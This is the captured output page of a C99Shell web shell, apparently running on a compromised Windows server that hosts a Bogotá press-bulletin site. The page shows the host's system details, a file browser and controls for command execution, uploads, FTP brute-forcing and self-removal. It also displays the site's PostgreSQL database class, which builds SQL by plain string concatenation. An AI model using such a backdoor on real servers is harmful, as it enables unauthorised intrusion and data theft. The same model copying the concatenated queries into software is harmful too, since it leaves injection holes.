!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\AmbienteBogota\boletinprensa\include\db\   drwxrwxrwx
Free 4.11 GB of 39.52 GB (10.39%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     db_pgsql.inc.php (1.76 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

if (!defined"_DB_PGSQL_LAYER" ))
{
  
define("_DB_PGSQL_LAYER"1);
  
  class 
Db
    
{   
      var 
$ConnectionID;
      var 
$DatabaseName;
      var 
$Result;
      var 
$Row;
      
      function 
DbConnect($host$user$passwd$database='')
    {
      
$this->ConnectionID = @pg_connect("host=".$host." port=5432 dbname=".$database." user=".$user." password=".$passwd);
      if(!
$this->ConnectionID)
          return 
false;
      if (
pg_connection_status($this->ConnectionID) != "0")
        return( 
false );

      
/*if ($database)
        return( $this->DbSelectDatabase($database) );*/
      
      
return( true );    
    }
      
/*
      function DbSelectDatabase($database) 
    {
      $this->DatabaseName = $database;
      
      if ($this->ConnectionID)
        return @pg_select_db($database, $this->ConnectionID);        
      else
        return false;    
    }
      */
      
function DbQuery($query$start ''$limit '')
    {
      if (
$start != '' || $limit != '')
        {
          
$query .= ' LIMIT '.$start.','.$limit;
        }
      
      
$this->Result = @pg_query($this->ConnectionID $query);
      return( 
$this->Result );
        }
      
      function 
DbNumRows()
    {
      
$count = @pg_num_rows($this->Result);
      return( 
$count );
        }
      
      function 
DbNextRow()
    {
      
$this->Row = @pg_fetch_array($this->Result);
      return( 
$this->Row );
        }

      function 
DbError()
    {
      if( 
pg_connection_status($this->ConnectionID) != 0){
      return 
translate("ERROR_DBCONNECT_3");
      }
      return 
pg_last_error($this->ConnectionID);
    }

      
      function 
DbCreate($db_name)
    {
      if(
pg_query("CREATE DATABASE $db_name")) return 1;
      else return 
0;
    }
      

      function 
DbAffectedRows()
    {
      return @
pg_affected_rows($this->Result);
    }

    }

}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--